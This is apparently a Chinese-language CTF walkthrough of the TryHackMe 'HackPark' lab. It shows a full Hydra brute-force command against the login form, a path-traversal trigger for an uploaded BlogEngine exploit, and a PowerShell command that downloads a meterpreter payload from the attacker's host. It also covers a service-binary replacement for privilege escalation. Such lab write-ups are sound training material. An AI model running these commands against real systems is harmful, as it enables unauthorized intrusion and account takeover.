0%

THM打靶日寄4-HackParl

  • 扫描打点

    一个网站,有登录界面,THM 提示用 Hydra 爆破

    bp 抓一下登录的数据包:

    hydra 爆破密码,这个的语法有点怪异:

    1
    hydra -f -l admin -P /usr/share/wordlists/wifite.txt -V 10.10.18.81 http-post-form "/Account/login.aspx:__VIEWSTATE=vSATLGgyNYOq2xRmSJZTTj%2FOcQQSMa5Gje33bS9MLeqgzac4DOJRJyDj5I6DKDz8bvBW6FngYOV%2BypIbbDdr8e18KlSmORdo%2FV4w3E%2BVJQ3U4wlyNgdoO009xmxlezA1AyOBqtDxhgbH%2F9AOXMbXAeTKcrf8hbj%2FF1v2Zdwqoliz0D6d4LdlzHPCtRjbhyaEwv0HvUcMiinZc09dqjt5sjEO%2BjUFv2wqzHHvas6J9xm8nJOxES7kvGOVlJVrOaw8B4muAci%2BwxRnANOufdMGSro20syF93U2WR2DdrChOAff%2BmG%2FqybDcgZXPESv1vSCIBG2WIddALpKQKe0PGugr%2BDipyqbrq65s1hQNLo5iYX08CaO&__EVENTVALIDATION=0E%2FrQder8Qicyb2ykUC%2Fu85a%2FZny1E5ZDp89ig9gJwY%2FJUckLJVAiFsGN7sunKnNmyGFE1on9%2Bd5pITm5PFuonsnGGtnk3OnnhoxP5iYZo9CZ81KueEz4SlKPBX4PTTP1oWp0v5JOpdEJfcTWixqf7dKC1Uhr6SdNvpXQulGAxhjZWnL&ctl00%24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=%E7%99%BB%E5%BD%95:F=login failed"

    逐个分析:-f 是得到正确密码后停止, -l 指定登录的用户名,如果是爆破用户名则是 -L-P 爆破密码 ,-V 显示过程,不加也行;

    后面是 [ip] [提交类型post/get]

    再后面是抓到的登录数据包,需要在其中标出 ^USER^^PASS^

    冒号后面是登录失败的关键词

    综上,命令后面的部分类似与 [ip] [登录类型] "[数据报[登录账户参数名]=^USER^&[登录密码参数名]=^PASS^]:F=[登录错误的关键词]"

    爆破出密码 1qaz2wsx

  • msf 提权

    进到后台之后在 about 看到版本号,exploit-db.com 找到对应漏洞:

    脚本上面注释里面有使用方法:

    改一下脚本里面的 ip 和端口,开监听,以 PostView.ascx 为文件名将脚本上传到 /admin/app/editor/editpost.cshtml ,并且通过访问 /?theme=../../App_Data/files 来触发

  • Windows 提权

    传个 msf 马先

    直接用网页界面上传的马没找到存放位置,就本地再 python 开个服务器,让靶机用 wget 下载

    powershell -c wget "http://10.11.99.99:8000/shell/qwq.exe" -outfile "qwq.exe"

    注意权限问题,最好切换到 Windows/Temp 目录下

    这里昨天的办法又不能用了

    THM 提示我们 ps 看看进程

    但这里要引入一个新工具 winPEAS在这里

    其同样用于在 Windows 机器上找到可能会被攻击者利用的路径和服务。

    传到靶机上,注意 ncshell 看不到回显,还是要用 meterpreter 开个 shell 才行

    Service Information 里面找到这个所有人都可以读写的服务

    Program Files (x86)\SystemScheduler\Events 目录下翻一翻,看到 log.txt 发现 service.exe30s 会启动一次

    由上面扫描结果得其权限是所有用户可读写,那么一个很简单的思路就是再传个马替换这个文件

    直接在 meterpreter 里面 upload 就行了

    如果没传上去就是正好在被调用

    flag 分别在两个人的桌面上

    至于系统安装时间直接 systeminfo 就行(逃